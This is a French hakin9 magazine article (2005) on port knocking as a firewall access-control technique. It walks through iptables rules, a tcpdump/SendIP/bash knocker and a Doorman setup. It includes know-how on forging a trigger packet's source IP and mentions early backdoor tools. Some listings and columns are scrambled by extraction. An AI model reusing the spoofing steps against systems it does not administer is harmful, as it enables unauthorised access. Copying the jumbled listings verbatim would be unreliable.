Un port est un composant d'un socket réseau, les autres sont l'adresse IP et le protocole. L'adresse IP est spécifique au périphérique réseau alors que le port est spécifique à l'application désignée pour recevoir le paquet. Les ports sont numérotés et ils varient entre 0 et 65535 pour TCP et UDP. Un périphérique réseau donné est doté d'un grand nombre de sockets ouverts aux ports différents. À titre d'exemple, SSH est assigné conventionnellement au port 22 TCP. Le sort du paquet destiné à un port spécifique dépend du filtre IP sur le serveur qui reçoit le paquet. En ce qui concerne iptables, le port peut se trouver dans l'un des trois états suivants : •

•

•

le statut de port est OPEN lorsque le filtre IP permet aux paquets de monter la pile TCP/IP et d'atteindre l'application. Le filtre IP ne se préoccupe pas du fait si l'application est en train de s'exécuter ou pas ; il permet tout simplement au paquet d'atteindre la couche application. Si le statut de port est REJECT, le serveur retourne alors un paquet d'erreur ICMP au client connecté en l'informant que la connexion a été refusée. Ce mode permet au client de recevoir la confirmation de l'existence du serveur. Les paquets refusés n'atteignent pas la couche application. Enfin, lorsqu'un port est configuré aux connexions DROP (ou DENY dans ipchains), le serveur ignore les tentatives de connexion et ne retourne aucun paquet d'erreur. Dans ce mode, le client ne reçoit aucune confirmation de l'existence du serveur.

dans le même nombre de ports. Si l'authentification s'effectue via un paquet supportant une charge utile, vous n'aurez besoin que d'un seul port. Il existe un grand nombre d'implémentations du port knocking et, dans cet article, vous apprendrez à vous servir de Doorman. Premièrement, quelques bases de TCP/IP seront rap-

pelées pour mieux comprendre ce qui va se passer.

Comment cela marche ?

Lorsque les données sont envoyées entre deux ordinateurs, elles traversent plusieurs couches de logiciels et de matériels pour garantir la livraison

www.hakin9.org

spécifique à l'application appropriée. Il existe plusieurs manières pour envoyer des données via Internet. Dans cet article, vous vous concentrez brièvement sur TCP et UDP : deux protocoles communs. Dans un premier temps, vous analysez la structure d'un paquet Ethernet et ensuite, vous observez comment se déroule la communication TCP. La connaissance de la structure du paquet vous aidera à comprendre comment fonctionne le port knocking. À titre d'exemple, certaines implémentations incorporent les jetons d'authentification à l'intérieur du paquet de manière non-standard. Lors de la transmission IP, les données sont encapsulées dans les paquets (voir l'Encadré Paquets et datagrammes) avec plusieurs niveaux d'en-têtes (voir la Figure 1). Un autre en-tête est ajouté aux trois des quatre couches de la pile TCP/IP. L'entête Ethernet est ajouté à la couche de liaison aux données (couche 2), l'en-tête IP – à la couche de réseau (couche 3) et l'en-tête spécifique au protocole (p. ex. TCP ou UDP) – à la couche transport (couche 4). Dans tous ces cas, l'en-tête de la couche de la pile fait partie de la charge de données de la couche précédente. Le standard Ethernet (IEEE 802.3) permet aux données dans la couche accès du réseau d'augmenter jusqu'à 1500 octets (Maximum Transfer Unit, MTU : unité de transfert d'information maximale). Grâce aux progrès récents en ce qui concerne la vitesse de transfert de données, on pense souvent que la MTU est trop petite, provoquant trop de temps système associé au protocole et on fait actuellement des efforts (voir http://www.psc.edu/~mathis/MTU/ ) pour inclure le support pour des MTU plus grandes (par exemple, 12 Ko pour un lien 100 Mbit). Chaque en-tête de la couche réseau stocke un grand nombre d'informations (voir la Figure 2) afin de fournir les matériels et les logiciels qui opèrent sur cette couche pour délivrer correctement les données à la pile TCP/IP. Plus tard, vous examinerez un paquet en détails, puis l'emplacement sera indiqué

hakin9 Nº 6/2005

13

Dossier

et plusieurs champs importants de ces en-têtes seront formés. Il existe deux types de systèmes du port knocking : ceux qui se servent de UDP et ceux qui se servent de TCP (voir l'Encadré UDP ou TCP pour le port knocking). Certaines implémentations se servent de ICMP ou des combinaisons de protocoles. Les systèmes TCP utilisent une partie de l'établissement de connexion en trois étapes de TCP (voir l'Encadré TCP et three-way-handhake), un préambule d'échange TCP entre deux ordinateurs ; pendant cet échange, une connexion s'établit et la valeur initiale est configurée pour le compteur d'ordre de paquets. Les systèmes de port knocking TCP peuvent crypter les informations en valeurs de port de destination dans une séquence de paquets, dans l'en-tête ou dans la charge de données d'un paquet. Vous verrez un exemple d'ajout de données à un en-tête de paquet. Les systèmes UDP envoient en général un seul paquet, contenant les données d'authentification, placées dans la charge dans le paquet. Indépendamment de l'utilisation UDP ou de TCP, un serveur de port knocking alloue un ensemble de ports fermés (voir l'Encadré États de ports) et les surveille pour des paquets formatés spécialement pour former la frappe au port. La frappe a un rôle d'un déclencheur personnalisé : chaque utilisateur peut disposer de sa propre frappe, créée à partir de ses jetons d'authentification ou d'autres informations personnelles. Le port knocking est un système d'authentification unique car le client envoie ses jetons d'authentification à travers les ports fermés sans accusé de réception. Par conséquent, le client est authentifié inconditionnellement et n'est pas conscient si une authentification a lieu ou si elle réussit. Le port knocking est plus difficile à détecter et à détourner par un intrus. La frappe formatée correctement déclenche l'activité du serveur conformément aux instructions qu'elle contient. Le serveur peut ouvrir ou fermer un port à l'adresse IP du client ou réaliser toute autre action, par exemple, envoyer un

14

hakin9 Nº 6/2005

Figure 3. Étapes dans un port knocking traditionnel effectuée à l'aide d'une séquence de ports, envoyés par les paquets SYN afin de coder les informations d'authentification

Efforts de pionniers

Parmi les deux efforts antérieurs qui ont implémenté une variante de port knocking, avant d'inventer le terme actuel, citons cd00r et SAdoor. cd00r par FX de Phenoelit a été créé afin de fournir un accès à un ordinateur distant qui n'informaient pas des ports ouverts. C'est une implémentation C minimale qui initie un démon inetd quand les paquets TCP SYN sont détectés dans une séquence fixe de ports spécifiques. SAdoor par CMN de Darklabs a été influencé par cd00r. Il se repose sur une authentification via une séquence de paquets clés, formatés de manière spécifique, suivis par un paquet final de commandes. Ce dernier stocke une commande codée, à exécuter sur le serveur à l'intérieur de sa charge utile.

www.hakin9.org

Port knocking

courriel, effectuer une sauvegarde, voire s'arrêter.

Implémentation traditionnelle

Le mécanisme de port knocking a été officiellement décrit pour la première fois dans un magazine SysAdmin, bien que plusieurs projets pilotes aient déjà existé (voir l'Encadré Efforts de pionniers). La spécification initiale du port knocking décrivait une authentification effectuée via une série de paquets SYN. La séquence de port servait à crypter les jetons d'authentification, par exemple, une frappe de 8 ports contenaient les octets suivants : adresse IP, port, durée et somme de contrôle. Au lieu d'utiliser l'adresse IP, stockée dans l'en-tête du paquet (qui peut être faux), le client a inséré son adresse IP dans la frappe. Les champs de port et de durée stockent le port auquel le client veut accéder et la durée pendant laquelle le port reste ouvert. La somme de contrôle d'un octet a été présentée afin de permettre au client de confirmer l'ensemble de la frappe. Cette frappe a été ensuite chiffré et codée dans un ensemble de ports fermés du serveur. Le serveur, à la réception des paquets SYN de la frappe, récupère le port de destination depuis chaque paquet, décode et déchiffre cette séquence de ports et ensuite, il procède conformément aux instructions codées dans la frappe. La Figure 3 présente ce processus traditionnel de port knocking. Il est important de chiffrer la séquence de port afin d'empêcher les attaques de mystification (spoofing) et Man-In-The-Middle bien que le chiffrage ne concerne pas le problème d'attaques par rejeu (replay attack) ce que sera décrit dans la suite de cet article. Il est alors très facile d'implémenter le port knocking. Le client peut réaliser des paquets à l'aide d'un générateur de paquets dédiés, comme SendIP. Il n'a plus besoin d'un knocker. Les paquets SYN entrants peuvent être logués dans un fichier de traces iptables. Par conséquent, ils peuvent

Listing 1. Ensemble initial de règles pour le pare-feu # Firewall configuration written by system-config-securitylevel # Manual customization of this file is not recommended. *filter :INPUT DROP [0:0] :FORWARD DROP [0:0] :OUTPUT ACCEPT [0:0] -A INPUT -i lo -j ACCEPT -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A INPUT -s 0/0 -d 0/0 -p udp -j DROP -A INPUT -s 0/0 -d 0/0 -p tcp --syn -j DROP COMMIT

Listing 2. Ensemble initial de règles pour le pare-feu – une liste de tables # iptables -L Chain FORWARD (policy DROP) target prot opt source

destination

Chain INPUT (policy target prot opt ACCEPT all -ACCEPT all -DROP udp -DROP tcp --

destination anywhere anywhere state RELATED,ESTABLISHED anywhere anywhere tcp flags:SYN,RST,ACK/SYN

DROP) source anywhere anywhere anywhere anywhere

Chain OUTPUT (policy ACCEPT) target prot opt source

destination

Listing 3. tcpdump détecte les paquets envoyés aux ports, désignés au port knocking 21:24:48.931043 IP (tos 0x0, ttl 255, id 23105, offset 0, flags [none], proto 6, length: 40) 10.1.17.1.1000 > 10.1.17.90.1005: S [tcp sum ok] 17:17(0) win 65535 21:24:54.033659 IP (tos 0x0, ttl 255, id 2483, offset 0, flags [none], proto 6, length: 40) 10.1.17.1.1000 > 10.1.17.90.1022: S [tcp sum ok] 17:17(0) win 65535

être surveillés même par le plus primitif outil de gestion de fichiers, comme grep. Sinon, les paquets entrants peuvent être surveillés directement à l'aide de tcpdump.

Port knocking avec SendIP et tcpdump

C'est la simplicité conceptuelle et une facilité relative d'implémentation qui rendent le port knocking un système attrayant. Bien que les systèmes de port knocking solides, conçus pour des environnements de trafic dense, nécessitent des capacités importantes, il est possible d'introduire une solution DYI à l'aide des outils utilisés

www.hakin9.org

couramment. Regardons une de telles implémentations simples. L'objectif consiste à concevoir un système, vous permettant d'établir une connexion SSH à un système, qui n'a aucun port fermé. Vous vous servez de SendIP pour réaliser et envoyer des paquets-déclencheurs au serveur. Le serveur surveillera ces paquets à l'aide de tcpdump. Lorsqu'un paquet-déclencheur bien formaté arrive, le serveur ouvre le port demandé à l'adresse IP entrant pour la durée de 10 secondes, afin de permettre d'initier une connexion. Les règles du pare-feu sont ensuite redémarrées et aucune nouvelle connexion n'est acceptée. On utilisera

hakin9 Nº 6/2005

15

Dossier

Listing 4. guard.sh – un script bash pour déclencher les règles du parefeu afin d'établir des connexions #!/bin/bash # guard.sh # allow incoming packets /sbin/iptables -I INPUT -j ACCEPT -i eth0 -p tcp -s $1 --dport $2 sleep 10 # deny incoming packets /sbin/iptables -D INPUT -j ACCEPT -i eth0 -p tcp -s $1 --dport $2

Listing 5. Un port est ouvert dans le pare-feu # iptables -L (...) Chain INPUT (policy target prot opt ACCEPT tcp -ACCEPT all -ACCEPT all -DROP udp -DROP tcp -(...)

DROP) source 10.1.17.1 anywhere anywhere anywhere anywhere

destination anywhere anywhere anywhere anywhere anywhere

Red Hat Fedora 4 doté d'une pile 2.6.11-1.1369_FC4 kernel, iptables 1.3.0, tcpdump 3.8, libpcap 0.8.3 et SendIP 2.5-1 pour réaliser ces exemples. L'adresse IP du serveur du port knocking est IP 10.1.17.90 et celle du client : IP 10.1.17.1. Commencez avec un ensemble classique de règles pour le pare-feu sur le serveur (voir les Listings 1 et 2). Cet ensemble de règles n'autorise pas les nouvelles connexions TCP et ne permet pas aux paquets UDP d'accéder à des ports ; il permet toutefois de continuer les connexions établies auparavant. Vous allez déclencher une ouverture d'un port choisi au moyen d'un seul paquet TCP SYN. Ce paquet sera envoyé à un port entre 1000–10999 et le numéro de la séquence dans l'en-tête sera configuré à 17. Ces deux conditions sont simplistes et arbitraires. L'objectif consiste à rendre les paquets relativement inhabituels pour pouvoir bien les distinguer du reste du trafic. Vous envoyez donc un paquet à l'aide de SendIP au port 1022 sur le serveur et on vous en explique les raisons dans un instant. Le drapeau SYN est configuré à l'aide de -tfs 1 et le numéro de séquence – à l'aide de -tn 17 :

16

hakin9 Nº 6/2005

tcp dpt:ssh state RELATED,ESTABLISHED tcp flags:SYN,RST,ACK/SYN

# sendip -p ipv4 -p tcp \ -is 10.1.17.1 -ts 1000 \ -td 1022 -tfs 1 \ -tn 17 10.1.17.90

Sur le serveur, vous avez une instance de tcpdump qui écoute les paquets-déclencheurs. Vous voulez limiter les paquets aux paquets SYN TCP, envoyés au port entre 1000–10999 et dont le numéro de séquence est 17. La commande tcpdump qui s'en charge se présente de la manière suivante : # tcpdump -vv \ -O "tcp[2:2] >= 1000 \ and tcp[2:2] <= 10999 \ and tcp[4:4] = 17 \ and tcp[tcpflags] \ & tcp-syn != 0"

Hélas, tcpdump ne supporte pas les intervalles de ports appliquées au port primitif et il est donc nécessaire d'utiliser tcp[2:2] afin d'indiquer la valeur du port de destination. Cette syntaxe indique un champ de 2 octets dans l'en-tête TCP, qui commence à l'octet 2 (tcp[start:length]). Il est également important de désactiver l'optimisation de moteur correspondant (-O) car il existe des bogues dans certaines versions de tcpdump

www.hakin9.org

lorsqu'on utilise les opérateurs relatifs, comme <= et >=. Vous allez donc essayer d'envoyer deux paquets : le premier au port 1005 (-td 1005) et le second au port 1022 (-td 1022). tcpdump détectera ces paquets et affichera les informations concernant leurs en-têtes (voir le Listing 3). Où se trouve l'information si vous l'envoyez à travers un port fermé ? Vous allez utiliser l'adresse IP source du paquet ainsi que le port de destination pour modifier les paramètres du pare-feu sur le serveur. Le pare-feu sera ouvert pendant 10 secondes à l'adresse IP source pour permettre une connexion au port de destination avec 10* en tête. Par conséquent, les deux paquetsdéclencheurs permettront les connexions respectivement de 10.1.17.1 aux ports 5 (1005 sans 10*=100 en tête) et 22 (1022 sans 10 en tête). Vous terminerez le déclenchement de l'ensemble des règles pour le pare-feu par un script bash guard.sh, présenté sur le Listing 4. Afin d'ouvrir le port 22 pour 10 secondes pour l'adresse IP source 10.1.17.1, le script devrait être appelé de la manière suivante : # guard 10.1.17.1 22

Maintenant, toutes les parties se trouvent bien en place et la seule chose qui reste consiste à récupérer tcpdump pour déclencher l'exécution du script lorsqu'il examine les paquets. Cette démarche se termine par la rediriection de tcpdump à xargs et par la création d'une commande bash, basée sur le contenu de la sortie de tcpdump : # tcpdump -l -O \ "tcp[2:2] >= 1000 \ and tcp[2:2] <= 10999 \ and tcp[4:4] = 17 \ and tcp[tcpflags] \ & tcp-syn != 0" \ | sed -u ‘s/.*IP \ \([0-9]*\.[0-9]*\.[0-9]*\.[0-9]*\) .*\.10*\([0-9]*\): S.*/\1 \2/’ \ | xargs -t -l -i bash \ -c "guard.sh {} &"

Port knocking

Il y a quelques mouvements ici, jetez donc un coup d'œil sur le canal. Vous avez déjà vu la sortie de tcpdump. Vous n'utiliserez pas ici le drapeau verbose (-vv) car vous n'avez pas besoin d'informations supplémentaires sur les en-têtes. Vous utilisez le drapeau -l pour éviter la bufférisation de sortie de tcpdump. La sortie est gérée par sed pour supprimer tous les éléments de la ligne, à l'exception de l'adresse IP et du numéro du port. Par conséquent, la ligne : 22:28:31.750989 \ IP 10.1.17.1.1000 \ > 10.1.17.90.1022: \ S 17:17(0) win 65535

sera transformée en

Listing 6. Contenu du fichier guestlist martink jacekz

hushhush pizzapie

22 22 23 25

10.1.17.0/24 192.168.0.0/16

Listing 7. Sortie de Doorman de la première tentative de frappe Aug 23 23:26:29 asphyxia doormand[26673]: notice: Doorman V0.8 starting; listening on eth0 10.1.17.90 Aug 23 23:26:34 asphyxia doormand[26673]: info: knock from 10.1.17.1 : 22 martink 1519966632 4270a3248a23c209b37d35bb060e1cd6 Aug 23 23:26:34 asphyxia doormand[26673]: debug: knock from 10.1.17.1 was valid. Aug 23 23:26:34 asphyxia doormand[26675]: debug: open a secondary pcap: 'tcp and dst port 22 and src 10.1.17.1 and dst 10.1.17.90' Aug 23 23:26:34 asphyxia doormand[26675]: debug: run script: '/usr/local/etc/doormand/iptables_add eth0 10.1.17.1 0 10.1.17.90 22' Aug 23 23:26:34 asphyxia doormand[26675]: debug: output from script: '0'

10.1.17.1 22

Enfin, xargs sert à créer une commande background pour appeler le script bash guard.sh. Tous les éléments se trouvent donc à leur place. Lorsque le client envoie le paquet-déclencheur au serveur, tcpdump affichera l'en-tête du paquet, sed transformera la sortie et xargs appellera guard.sh avec le texte résultant en paramètres. Instantanément, un port s'ouvrira pour permettre au client de se connecter (voir le Listing 5). Cette porte disparaîtra dans 10 secondes, ce qui doit suffire au client d'initier une connexion. Pourquoi êtes-vous capables de supprimer les règles initiales, qui permettaient au client de se connecter, sans terminer soudainement sa session SSH ? Grâce à une autre règles existante (...state RELATED, ESTABLISHED) qui suit les connexions et accepte les paquets, associés aux connexions établies. Les paquets provenant de deux directions et allant vers ces connexions ont été vus (p. ex. après un établissement de three-way handshake, une connexion TCP est établie). Ce simple exemple démontre qu'aucune connaissance de la programmation réseau ou de la pile TCP/IP n'est nécessaire pour implémenter le port knocking sous

Listing 8. Une porte ouverte au moyen de Doorman # iptables -L (...) Chain INPUT (policy target prot opt ACCEPT tcp -ACCEPT all -ACCEPT all -DROP udp -DROP tcp -(...)

DROP) source 10.1.17.1 anywhere anywhere anywhere anywhere

destination 10.1.17.90 anywhere anywhere anywhere anywhere

sa forme la plus simple. Cela dit, ne vous servez pas de cette implémentation pour votre usage quotidien : le paquet-déclencheur est simple à répéter et n'offre aucune protection contre la falsification. Cet exemple sert à illustrer que vous n'avez pas besoin de faire grand-chose pour augmenter considérablement la sécurité de votre système. Si vous administrez des ordinateurs distants via SSH et que vous êtes le seul à vous loguer, cet exemple vous montre comment maintenir la connectivité depuis n'importe où sans ouvrir le port SSH à tout le monde.

Port knocking avec un twist

Il existe de nombreuses implémentations du port knocking (voir la Figure 4). Doorman de Bruce Ward aborde

www.hakin9.org

tcp dpt:ssh state RELATED,ESTABLISHED tcp flags:SYN,RST,ACK/SYN

la spécification du port knocking d'une manière différente et plus élégante. Doorman sera utilisé pour vous montrer comment configurer un port knocking dans votre système, car il se sert d'un seul paquet-déclencheur UDP (voir l'Encadré UDP ou TCP pour le port knocking), il supporte un fichier contenant des mots de passe, inclut des mesures anti-rejeu et fournit une compatibilité out-of-the-box doté de nombreux pare-feux, y compris ipchains, iptables et PF. Votre objectif consiste à configurer Doorman pour qu'il accepte des connexions de deux utilisateurs fictifs. Ces utilisateurs seront capables de se connecter aux services réseau sur un système fermé. Vous allez également analyser la façon dont Doorman fonctionne pour voir les techniques dont il se sert pour la sécurité.

hakin9 Nº 6/2005

17

Dossier

Listing 9. Doorman détecte les paquets SYN et limite l'accès au port Aug 24 00:17:47 asphyxia doormand[27227]: debug: Initial SYN packet detected, [email protected]:58360 -> 22 Aug 24 00:17:47 asphyxia doormand[27227]: debug: run script: '/usr/local/etc/doormand/iptables_add eth0 10.1.17.1 58360 10.1.17.90 22' Aug 24 00:17:48 asphyxia doormand[27227]: debug: output from script: '0' Aug 24 00:17:48 asphyxia doormand[27227]: debug: run script: '/usr/local/etc/doormand/iptables_delete eth0 10.1.17.1 0 10.1.17.90 22' Aug 24 00:17:48 asphyxia doormand[27227]: debug: output from script: '0' Aug 24 00:17:48 asphyxia doormand[27227]: info: connection established, [email protected]:58360 -> sshd(pid 27231)

Listing 10. La règle de Doorman pour le pare-feu, en limitant l'accès SSH à un port source sélectionné # iptables -L (...) Chain INPUT (policy DROP) target prot opt source ACCEPT tcp -- 10.1.17.1 (...)

destination 10.1.17.90

tcp spt:58359 dpt:ssh

Listing 11. Doorman supprime la porte à SSH Aug 24 00:19:52 asphyxia doormand[27227]: info: sshd(pid 27231) ([email protected]:58360) has stopped running. Aug 24 00:19:52 asphyxia doormand[27227]: debug: run script: '/usr/local/etc/doormand/iptables_delete eth0 10.1.17.1 58360 10.1.17.90 22'

Au lieu d'envoyer des informations d'authentification via les tentatives de connexion aux ports fermés, Doorman se sert d'un paquet UDP, contenant 4 chaînes de caractères pour l'authentification et le contrôle d'accès. La charge utile comprend une fonction de hachage MD5 du secret partagé, créé à l'aide d'une combinaison du port demandé, de l'identifiant d'utilisateur et d'un numéro aléatoire. Lorsque le démon Doorman reçoit ce type de paquet, il vérifie si l'information Listing 12. Un exemple de .knockcf $ cat ~/.knockcf grp martink port 1001 secret hushhush run "ssh %H%"

18

hakin9 Nº 6/2005

d'authentification est valide. Pour ce faire, il cherche une phrase secrète pour l'identifiant du groupe/utilisateur

correspondant, trouvé dans le paquet et il crée sa propre version de la fonction de hachage MD5. Ensuite, il compare cette fonction avec celle trouvée dans le paquet et permet d'accéder au port spécifié si les deux fonctions correspondent.

Configurer Doorman

Utiliser Doorman (pour les adresses, reportez-vous à l'Encadré Sur Internet) pour protéger votre système est très simple. Vous trouverez les instructions de compilation et d'installation dans les fichiers INSTALL et README. Le fichier binaire du service, c'est doormand et le script de knocker, c'est knock. Le démon doormand écoute sur un port particulier si des paquets UDP arrivent avec une charge spécifique. La définition du port UDP se trouve dans le fichier de configuration /usr/local/etc/doorman/ doorman.cf. Le fichier EXAMPLE que vous trouverez dans le même répertoire après l'installation devrait être utilisé comme la base de votre configuration. Doorman se sert par défaut de UDP port 1001 et vous n'avez pas besoin de le changer à moins d'utiliser ce port pour d'autres applications. Bien évidemment, si vous vous servez d'un autre port, vous risquez que les frappes de Doorman soient découvertes par un intrus potentiel.

Listing 13. Code Perl (doormandigest.pl) pour calculer une fonction de hachage Doorman #!/usr/bin/perl # doormandigest [secret] [port] [user] $,=" "; my ($secret,$port,$user) = @ARGV; use Digest::HMAC_MD5 qw(hmac_md5 hmac_md5_hex); my $r = int rand() * (2**31-1); my $key = "$port $user $r"; print $key,hmac_md5_hex($secret,$key),"\n";

Listing 14. Calcul d'une fonction de hachage et emploi de SendIP à la place du script knock de Doorman $ ./doormandigest.pl hushhush 22 martink 22 martink 1035771909 bcc15f315ace1c34a7ed25a80b548594 # sendip -p ipv4 -p tcp -is 10.1.17.1 -us 1002 -ud 1001 \ -d "22 martink 1035771909 bcc15f315ace1c34a7ed25a80b548594" 10.1.17.90

www.hakin9.org

Port knocking

Déclencheur de Doorman

Lors de l'étape d'authentification de Doorman, vous avez ouvert une session de tcpdump sur le serveur afin de contrôler les paquets-déclencheurs. # tcpdump –XX ipv4 udp port 1001

Obtenir l'accès à l'aide de Doorman

Voici un tel paquet-déclencheur intercepté par tcpdump. 23:26:34.564881 IP 10.1.17.1.57014 > 10.1.17.90.1001: UDP, length 54 0x0000:

000c 29be cde8 0050 0468 1429 0800 4500

..)....P.h.)..E.

0x0020:

115a deb6 03e9 003e 003c 3232 206d 6172

.Z.....>.<22.mar

0x0010: 0x0030: 0x0040: 0x0050:

0052 ef07 4000 4011 1537 0a01 1101 0a01 7469 6e6b 2031 3531 3939 3636 3633 3220 3432 3730 6133 3234 3861 3233 6332 3039 6233 3764 3335 6262 3036 3065 3163 6436

.R..@[email protected]...... tink.1519966632. 4270a3248a23c209 b37d35bb060e1cd6

Le début du paquet est un c en ASCII : ce sont en fait des en-têtes Ethernet, IP et UDP (voir les Figures 1 et 2). Jetez un coup d'œil sur ces en-têtes. L'en-tête Ethernet est le premier, dont le préambule et le délimiteur du début de trame sont supprimés. Vous voyez donc deux MAC adresses : celle du serveur au 10.1.17.90 (destination MAC) et celle du client au 10.1.17.1 (source MAC). Le dernier champ de 2 octets (0x0800) indique le protocole IP Ethernet : 000c 29be cde8 0050 0468 1429 0800

Les 20 octets suivants se trouvent dans l'en-tête IP : 4500

0052 ef07 4000 4011 1537 0a01 1101 0a01

Une fois les modifications dans guestlist effectuées, il est temps de lancer Doorman. Vous le stockez en avant-plan en utilisant -D pour voir des messages de débogage. # /usr/local/sbin/doorman -D

Doorman est à présent prêt à recevoir des paquets d'authentification sur votre serveur (10.1.17.90). Vous envoyez le paquet-déclencheur de votre client (10.1.17.1) en utilisant le client knock de Doorman. Pour cet exemple, vous identifierez vousmême comme martink et vous demanderez à Doorman d'ouvrir le port 22. $ /usr/local/bin/knock \

115a

-g martink -p 1001 \

Le premier octet est 4, ce qui indique le protocole IP. L'octet suivant, 5, indique la longueur du paquet en mots de 32 bits. Vous utilisez le protocole IP : UDP donc l'octet 10 est 0x11 = 17, autrement dit, la valeur pour UDP (TCP est 0x06). Les 8 derniers octets sont deux adresses IP : l'adresse IP du client (0x0a01 0x1101 = 10.1.17.1) et l'adresse IP du serveur (0x0a01 0x115a = 10.1.17.90). Après l'en-tête IP, les 8 octets suivants sont une en-tête UDP : deb6 03e9 003e 003c

dont les deux premiers octets désignent le port source (0xdeb6 = 57,014) et les deux suivants – le port de destination (0x03e9 = 1001). Les éléments restants de l'en-tête UDP sont : la longueur de l'en-tête, les données (0x003e = 62 octets) et la somme de contrôle. L'élément restant de la sortie tcpdump est la charge de données du paquet : 22 martink 1519966632 4270a3248a23c209b37d35bb060e1cd6

Voici la requête de doorman et les jetons d'authentification. D'abord, il y a le port dont l'ouverture vous avez demandé (22), suivi du nom de l'utilisateur et d'une valeur aléatoire, choisie par le frappeur. La dernière valeur est une fonction de hachage HMAC MD5 de votre secret (hushhush) dont la clé est une chaîne 22 martink 1519966632. Doorman n'acceptera pas plusieurs paquets-déclencheurs avec la même valeur aléatoire, en limitant ainsi la capacité de rejeu du déclencheur.

Doorman requiert un fichier contenant des mots de passe /usr/local/etc/doorman/guestlist afin de lister ceux qui peuvent ouvrir le pare-feu aux connexions. Vous

les ports que l'utilisateur peut demander d'ouvrir et l'adresse du réseau d'où l'utilisateur peut se connecter (voir le Listing 6).

voulez que deux utilisateurs puissent accéder à SSH : martink et jacekz. Les autres champs dans le fichier guestlist contiennent le mot de passe (stockés en plein texte),

www.hakin9.org

-s hushhush 10.1.17.90 22

Une fois le paquet-déclencheur envoyé, vous verrez que doormand crée une sortie. Cette sortie indique que le paquet a été intercepté et la porte dans le pare-feu a été ouverte pour permettre au client de se connecter au port 22. La sortie de débogage (voir le Listing 7) montrera que Doorman se sert du script d'aide iptables_add pour le terminer. Pour une analyse plus profonde du paquet-déclencheur à l'aide de tcpdump, reportez-vous à l'Encadré Déclencheur de Doorman. Lorsque Doorman a intercepté ce paquet, il a ouvert une porte dans votre pare-feu. Pour le voir, vous pouvez afficher les règles actuelles via la commande -L (voir le Listing 8). En effet, vous pouvez maintenant vous connecter de 10.1.17.1 au port 22. Vous pouvez vous connecter au service SSH sur votre serveur. Doorman attendra 10 secondes (paramètre waitfor dans doorman.cf) avant de fermer le pare-feu et de le remettre dans son état précédent. Lorsque

hakin9 Nº 6/2005

19

Dossier

Figure 4. Matrice des caractéristiques pour les implémentations connues du port knocking vous démarrez la connexion SSH, Doorman détectera le paquet SYN et reformera la règle du pare-feu afin de limiter le nombre des ports sources du client d'où l'arrivée des paquets est autorisée. Doorman acceptera davantage de paquets du même port d'où le paquet SYN a été envoyé (voir le Listing 9). À cette étape, le parefeu contient la nouvelle règle raffinée (Listing 10). Plusieurs minutes plus tard, lorsque vous terminez la connexion au serveur, Doorman le repère et supprime les règles raffinées du pare-feu. Le serveur n'accepte plus les paquets de votre port 58360 (voir le Listing 11).

Doorman avancé

Au lieu de taper l'identifiant de l'utilisateur et le port de Doorman sur la ligne de commandes lors de l'utilisation de knock, vous pouvez créer .knockcf dans votre répertoire personnel (home) qui stockera ces valeurs. Vous pouvez y inclure une commande à exécuter par knock 0.1 secondes après l'envoi du paquetdéclencheur. Cette opération est très utile lorsque vous vous connectez toujours au même service, comme

20

hakin9 Nº 6/2005

SSH, et que vous ne voulez pas vous occuper d'ouvrir le client SSH. Vous pouvez également choisir de stocker votre secret dans ce fichier, même s'il est en plein texte. Pour des raisons de protection, knock ne se lancera pas tant que l'autorisation de .knockcf n'est pas égale à 0600, pour que les autres ne puissent pas voir votre secret. Le Listing 12 présente un exemple de .knockcf. Vous pouvez envoyer un paquet-déclencheur manuellement, en utilisant SendIP à la place de knock. Vous devriez calculer votre propre digest HMAC MD5 pour une combinaison donnée d'utilisateur, d'un port, d'un numéro aléatoire et d'un secret. Le Listing 13 contient le code Perl pour réaliser tous ces points, à l'aide du module Digest::HMAC_MD5 disponible depuis CPAN. Quand le script est appelé, il affiche une charge utile qu'il est possible d'utiliser avec SendIP (voir le Listing 14). Le drapeau -d spécifie la charge de données et le drapeau -ud – le port de destination (port de Doorman). Grâce à SendIP, il est possible de générer n'importe quel paquet

www.hakin9.org

et d'adapter les champs d'en-têtes à vos besoins. Vous pouvez faire en sorte que le paquet ait l'air d'être arrivé de n'importe quelle adresse IP et pas seulement de la vôtre. Ici, on utilise -is 10.1.17.1, ce qui correspond à l'adresse IP actuelle du client mais n'importe quelle valeur peut être acceptée. Par conséquent, il est possible d'utiliser SendIP d'un troisième ordinateur pour demander à Doorman d'ouvrir un port à un client différent.

Implémentations et extensions

Le port knocking décrit une méthode d'envoi des informations d'authentification à travers des ports fermés pour les événements distants de déclenchement. Vu que ceci couvre donc une large zone, il n'est pas étonnant qu'il existe un grand nombre d'implémentations de port knocking. En général, tout client du port knocking et toute implémentation du serveur partagent certaines caractéristiques. Au fond, le client et le serveur doivent être d'accord sur la forme de l'authentification.

Port knocking

Comment obtenir une bonne frappe ?

Les implémentations abordent différemment la façon dont doit se dérouler l'authentification de port knocking. Voici une liste des caractéristiques qui devraient faire partie d'une frappe : •

•

•

•

•

Taille – une frappe devrait être aussi dense que possible. C'est particulièrement important pour les frappes sous forme de séquence de paquet car moins de tentatives de connexions signifie moins d'erreurs potentielles de transmission et moins de chance pour votre frappe d'être interceptée et découverte. La frappe pourrait être mappée sur une portée de port aussi large que possible (p. ex. 32768) afin de maximiser le contenu informatif d'un nombre donné de ports. En ce qui concerne les frappes composées d'un seul paquet contenant des données, la limite pratique est égale à une MTU moyenne (1500 octets). Ce nombre est plus élevé à la quantité pratique d'informations qu'une séquence de ports est capable de coder. Chiffrage – la frappe, ou les données au sein de la frappe, doivent être chiffrées afin de limiter les attaques destructives et ceux de rejeu. Dans cette dernière, le secret utilisé dans la frappe doit être chiffré. Somme de contrôle – cela peut être une couche supplémentaire de validation pour des frappes de plusieurs paquets. Une fois la séquence de port décodée et déchiffrée, si une de valeurs est une somme de contrôle, il est alors possible de vérifier le contenu de la frappe. La somme de contrôle est un niveau supplémentaire de protection contre les fausses frappes. One-time knock (OTK) – le one-time knock (frappe dynamique) peut être facilement implémenté. Si une frappe est balisée avec un index, le serveur devrait garder seulement les traces des indexes de frappes reçus d'un client. Le client doit incrémenter l'index pour chaque nouvelle frappe pour qu'elle soit valable. Moyens de transport – la frappe peut être soit une séquence de paquets, soit un seul paquet contenant des jetons d'authentification dans la charge, soit les deux. Les frappes multi-paquets nécessitent très peu de travail pour implémenter et corrompre la différence entre les en-têtes et la charge de données (dans ce cas, l'en-tête est une charge de données). Traditionnellement, si quelqu'un renifle le trafic pour chercher des mots de passe ou d'autres informations utiles, il ignore probablement les paquets dépourvus d'un composant de données. 